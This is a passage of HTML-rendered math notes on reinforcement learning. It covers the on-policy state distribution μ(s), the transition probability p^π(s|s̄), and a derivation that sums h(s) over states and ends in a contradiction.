<div class="math math-display"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>μ</mi><mo stretchy="false">(</mo><mi>s</mi><mo stretchy="false">)</mo><mo>=</mo><mfrac><mrow><mi>η</mi><mo stretchy="false">(</mo><mi>s</mi><mo stretchy="false">)</mo></mrow><mrow><munder><mo>∑</mo><mover accent="true"><mi>s</mi><mo>ˉ</mo></mover></munder><mi>η</mi><mo stretchy="false">(</mo><mover accent="true"><mi>s</mi><mo>ˉ</mo></mover><mo stretchy="false">)</mo></mrow></mfrac><mo separator="true">,</mo><mtext> for all </mtext><mi>s</mi><mo>∈</mo><mi mathvariant="script">S</mi><mi mathvariant="normal">.</mi></mrow><annotation encoding="application/x-tex">\mu(s) = \frac{\eta(s)}{\sum_{\bar s}\eta(\bar s)}, \text{ for all }s\in\mathcal S.</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault">μ</span><span class="mopen">(</span><span class="mord mathdefault">s</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:2.41271em;vertical-align:-0.9857100000000001em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.427em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mop"><span class="mop op-symbol small-op" style="position:relative;top:-0.0000050000000000050004em;">∑</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.09773599999999993em;"><span style="top:-2.40029em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord accent mtight"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.56778em;"><span style="top:-2.7em;"><span class="pstrut" style="height:2.7em;"></span><span class="mord mathdefault mtight">s</span></span><span style="top:-2.7em;"><span class="pstrut" style="height:2.7em;"></span><span class="accent-body" style="left:-0.19444em;"><span class="mord mtight">ˉ</span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.29971000000000003em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.56778em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathdefault">s</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.19444em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="mclose">)</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord mathdefault">s</span><span class="mclose">)</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.9857100000000001em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord text"><span class="mord"> for all </span></span><span class="mord mathdefault">s</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathcal" style="margin-right:0.075em;">S</span><span class="mord">.</span></span></span></span></span></div>
</blockquote>
<p>Where the denominator in the previous formula is simply <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>T</mi></mrow><annotation encoding="application/x-tex">T</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">T</span></span></span></span></span>, the number of time steps
in the episode.</p>
<p>To make our formulas a little shorter let us define <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>p</mi><mi>π</mi></msup><mo stretchy="false">(</mo><mi>s</mi><mi mathvariant="normal">∣</mi><mover accent="true"><mi>s</mi><mo>ˉ</mo></mover><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">p^\pi(s|\bar s)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.664392em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.03588em;">π</span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathdefault">s</span><span class="mord">∣</span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.56778em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathdefault">s</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.19444em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span> as the probability
of going from state <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mover accent="true"><mi>s</mi><mo>ˉ</mo></mover></mrow><annotation encoding="application/x-tex">\bar s</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.56778em;vertical-align:0em;"></span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.56778em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathdefault">s</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.19444em;"><span class="mord">ˉ</span></span></span></span></span></span></span></span></span></span></span> to state <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>s</mi></mrow><annotation encoding="application/x-tex">s</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathdefault">s</span></span></span></span></span> under policy <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>π</mi></mrow><annotation encoding="application/x-tex">\pi</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">π</span></span></span></span></span>:</p>
<div class="math math-display"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>p</mi><mi>π</mi></msup><mo stretchy="false">(</mo><mi>s</mi><mi mathvariant="normal">∣</mi><mover accent="true"><mi>s</mi><mo>ˉ</mo></mover><mo stretchy="false">)</mo><mo>≐</mo><munder><mo>∑</mo><mi>a</mi></munder><mi>π</mi><mo stretchy="false">(</mo><mi>a</mi><mi mathvariant="normal">∣</mi><mover accent="true"><mi>s</mi><mo>ˉ</mo></mover><mo stretchy="false">)</mo><mi>p</mi><mo stretchy="false">(</mo><mi>s</mi><mi mathvariant="normal">∣</mi><mover accent="true"><mi>s</mi><mo>ˉ</mo></mover><mo separator="true">,</mo><mi>a</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">p^\pi(s|\bar s) \doteq \sum_a \pi(a|\bar s)p(s|\bar s,a)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7143919999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.03588em;">π</span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathdefault">s</span><span class="mord">∣</span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.56778em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathdefault">s</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.19444em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">≐</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:2.3000100000000003em;vertical-align:-1.250005em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.050005em;"><span style="top:-1.8999949999999999em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">a</span></span></span><span style="top:-3.0500049999999996em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.250005em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">π</span><span class="mopen">(</span><span class="mord mathdefault">a</span><span class="mord">∣</span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.56778em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathdefault">s</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.19444em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord mathdefault">p</span><span class="mopen">(</span><span class="mord mathdefault">s</span><span class="mord">∣</span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.56778em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathdefault">s</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.19444em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault">a</span><span class="mclose">)</span></span></span></span></span></div>
<p>Then:</p>
<div class="math math-display"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mtable rowspacing="0.24999999999999992em" columnalign="right left right" columnspacing="0em 1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mi>η</mi><mo stretchy="false">(</mo><mi>s</mi><mo stretchy="false">)</mo></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><mi>h</mi><mo stretchy="false">(</mo><mi>s</mi><mo stretchy="false">)</mo><mo>+</mo><munder><mo>∑</mo><mover accent="true"><mi>s</mi><mo>ˉ</mo></mover></munder><mi>η</mi><mo stretchy="false">(</mo><mover accent="true"><mi>s</mi><mo>ˉ</mo></mover><mo stretchy="false">)</mo><munder><mo>∑</mo><mi>a</mi></munder><mi>π</mi><mo stretchy="false">(</mo><mi>a</mi><mi mathvariant="normal">∣</mi><mover accent="true"><mi>s</mi><mo>ˉ</mo></mover><mo stretchy="false">)</mo><mi>p</mi><mo stretchy="false">(</mo><mi>s</mi><mi mathvariant="normal">∣</mi><mover accent="true"><mi>s</mi><mo>ˉ</mo></mover><mo separator="true">,</mo><mi>a</mi><mo stretchy="false">)</mo></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><mi>h</mi><mo stretchy="false">(</mo><mi>s</mi><mo stretchy="false">)</mo><mo>+</mo><munder><mo>∑</mo><mover accent="true"><mi>s</mi><mo>ˉ</mo></mover></munder><mi>η</mi><mo stretchy="false">(</mo><mover accent="true"><mi>s</mi><mo>ˉ</mo></mover><mo stretchy="false">)</mo><msup><mi>p</mi><mi>π</mi></msup><mo stretchy="false">(</mo><mi>s</mi><mi mathvariant="normal">∣</mi><mover accent="true"><mi>s</mi><mo>ˉ</mo></mover><mo stretchy="false">)</mo></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mtext>  </mtext><mo>⟺</mo><mtext>  </mtext></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><munder><mo>∑</mo><mi>s</mi></munder><mi>h</mi><mo stretchy="false">(</mo><mi>s</mi><mo stretchy="false">)</mo></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><munder><mo>∑</mo><mi>s</mi></munder><mrow><mo fence="true">[</mo><mi>η</mi><mo stretchy="false">(</mo><mi>s</mi><mo stretchy="false">)</mo><mo>−</mo><munder><mo>∑</mo><mover accent="true"><mi>s</mi><mo>ˉ</mo></mover></munder><mi>η</mi><mo stretchy="false">(</mo><mover accent="true"><mi>s</mi><mo>ˉ</mo></mover><mo stretchy="false">)</mo><msup><mi>p</mi><mi>π</mi></msup><mo stretchy="false">(</mo><mi>s</mi><mi mathvariant="normal">∣</mi><mover accent="true"><mi>s</mi><mo>ˉ</mo></mover><mo stretchy="false">)</mo><mo fence="true">]</mo></mrow></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mtext>  </mtext><mo>⟺</mo><mtext>  </mtext></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><munder><mo>∑</mo><mi>s</mi></munder><mi>η</mi><mo stretchy="false">(</mo><mi>s</mi><mo stretchy="false">)</mo><mo>−</mo><munder><mo>∑</mo><mi>s</mi></munder><munder><mo>∑</mo><mover accent="true"><mi>s</mi><mo>ˉ</mo></mover></munder><mi>η</mi><mo stretchy="false">(</mo><mover accent="true"><mi>s</mi><mo>ˉ</mo></mover><mo stretchy="false">)</mo><msup><mi>p</mi><mi>π</mi></msup><mo stretchy="false">(</mo><mi>s</mi><mi mathvariant="normal">∣</mi><mover accent="true"><mi>s</mi><mo>ˉ</mo></mover><mo stretchy="false">)</mo></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><munder><mo>∑</mo><mi>s</mi></munder><mi>η</mi><mo stretchy="false">(</mo><mi>s</mi><mo stretchy="false">)</mo><mo>−</mo><munder><mo>∑</mo><mover accent="true"><mi>s</mi><mo>ˉ</mo></mover></munder><mi>η</mi><mo stretchy="false">(</mo><mover accent="true"><mi>s</mi><mo>ˉ</mo></mover><mo stretchy="false">)</mo><menclose notation="updiagonalstrike downdiagonalstrike"><mrow><munder><mo>∑</mo><mi>s</mi></munder><msup><mi>p</mi><mi>π</mi></msup><mo stretchy="false">(</mo><mi>s</mi><mi mathvariant="normal">∣</mi><mover accent="true"><mi>s</mi><mo>ˉ</mo></mover><mo stretchy="false">)</mo></mrow></menclose></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><munder><mo>∑</mo><mi>s</mi></munder><mi>η</mi><mo stretchy="false">(</mo><mi>s</mi><mo stretchy="false">)</mo><mo>−</mo><munder><mo>∑</mo><mover accent="true"><mi>s</mi><mo>ˉ</mo></mover></munder><mi>η</mi><mo stretchy="false">(</mo><mover accent="true"><mi>s</mi><mo>ˉ</mo></mover><mo stretchy="false">)</mo><mo>=</mo><mn>0</mn></mrow></mstyle></mtd></mtr></mtable><annotation encoding="application/x-tex">\begin{aligned} \eta(s) &#x26;= h(s) + \sum_{\bar s} \eta(\bar s) \sum_a \pi(a|\bar s)p(s|\bar s,a) \\ &#x26;= h(s) + \sum_{\bar s} \eta(\bar s) p^\pi(s|\bar s) &#x26; \iff \\ \sum_s h(s) &#x26;= \sum_s \left[ \eta(s) - \sum_{\bar s} \eta(\bar s) p^\pi(s|\bar s) \right] &#x26; \iff \\ 1 &#x26;= \sum_s \eta(s) - \sum_s \sum_{\bar s} \eta(\bar s) p^\pi(s|\bar s) \\ &#x26;= \sum_s \eta(s) - \sum_{\bar s} \eta(\bar s) \xcancel{\sum_s p^\pi(s|\bar s)} \\ &#x26;= \sum_s \eta(s) - \sum_{\bar s} \eta(\bar s) = 0 \end{aligned}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:16.30008em;vertical-align:-7.90004em;"></span><span class="mord"><span class="mtable"><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:8.40004em;"><span style="top:-11.100035em;"><span class="pstrut" style="height:3.75em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord mathdefault">s</span><span class="mclose">)</span></span></span><span style="top:-8.500025000000003em;"><span class="pstrut" style="height:3.75em;"></span><span class="mord"></span></span><span style="top:-5.200020000000002em;"><span class="pstrut" style="height:3.75em;"></span><span class="mord"><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.050005em;"><span style="top:-1.8999949999999999em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">s</span></span></span><span style="top:-3.0500049999999996em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.250005em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault">h</span><span class="mopen">(</span><span class="mord mathdefault">s</span><span class="mclose">)</span></span></span><span style="top:-2.599985000000001em;"><span class="pstrut" style="height:3.75em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:0.000024999999999497646em;"><span class="pstrut" style="height:3.75em;"></span><span class="mord"></span></span><span style="top:2.6000349999999997em;"><span class="pstrut" style="height:3.75em;"></span><span class="mord"></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:7.90004em;"><span></span></span></span></span></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:8.40004em;"><span style="top:-11.100035em;"><span class="pstrut" style="height:3.75em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mord mathdefault">h</span><span class="mopen">(</span><span class="mord mathdefault">s</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.050005em;"><span style="top:-1.8999949999999999em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord accent mtight"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.56778em;"><span style="top:-2.7em;"><span class="pstrut" style="height:2.7em;"></span><span class="mord mathdefault mtight">s</span></span><span style="top:-2.7em;"><span class="pstrut" style="height:2.7em;"></span><span class="accent-body" style="left:-0.19444em;"><span class="mord mtight">ˉ</span></span></span></span></span></span></span></span></span></span><span style="top:-3.0500049999999996em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.250005em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.56778em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathdefault">s</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.19444em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.050005em;"><span style="top:-1.8999949999999999em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">a</span></span></span><span style="top:-3.0500049999999996em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.250005em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">π</span><span class="mopen">(</span><span class="mord mathdefault">a</span><span class="mord">∣</span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.56778em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathdefault">s</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.19444em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord mathdefault">p</span><span class="mopen">(</span><span class="mord mathdefault">s</span><span class="mord">∣</span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.56778em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathdefault">s</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.19444em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault">a</span><span class="mclose">)</span></span></span><span style="top:-8.500025000000003em;"><span class="pstrut" style="height:3.75em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mord mathdefault">h</span><span class="mopen">(</span><span class="mord mathdefault">s</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.050005em;"><span style="top:-1.8999949999999999em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord accent mtight"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.56778em;"><span style="top:-2.7em;"><span class="pstrut" style="height:2.7em;"></span><span class="mord mathdefault mtight">s</span></span><span style="top:-2.7em;"><span class="pstrut" style="height:2.7em;"></span><span class="accent-body" style="left:-0.19444em;"><span class="mord mtight">ˉ</span></span></span></span></span></span></span></span></span></span><span style="top:-3.0500049999999996em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.250005em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.56778em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathdefault">s</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.19444em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7143919999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.03588em;">π</span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathdefault">s</span><span class="mord">∣</span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.56778em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathdefault">s</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.19444em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="mclose">)</span></span></span><span style="top:-5.200020000000002em;"><span class="pstrut" style="height:3.75em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.050005em;"><span style="top:-1.8999949999999999em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">s</span></span></span><span style="top:-3.0500049999999996em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.250005em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size4">[</span></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord mathdefault">s</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.050005em;"><span style="top:-1.8999949999999999em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord accent mtight"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.56778em;"><span style="top:-2.7em;"><span class="pstrut" style="height:2.7em;"></span><span class="mord mathdefault mtight">s</span></span><span style="top:-2.7em;"><span class="pstrut" style="height:2.7em;"></span><span class="accent-body" style="left:-0.19444em;"><span class="mord mtight">ˉ</span></span></span></span></span></span></span></span></span></span><span style="top:-3.0500049999999996em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.250005em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.56778em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathdefault">s</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.19444em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7143919999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.03588em;">π</span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathdefault">s</span><span class="mord">∣</span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.56778em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathdefault">s</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.19444em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="mclose">)</span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size4">]</span></span></span></span></span><span style="top:-2.599985000000001em;"><span class="pstrut" style="height:3.75em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.050005em;"><span style="top:-1.8999949999999999em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">s</span></span></span><span style="top:-3.0500049999999996em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop 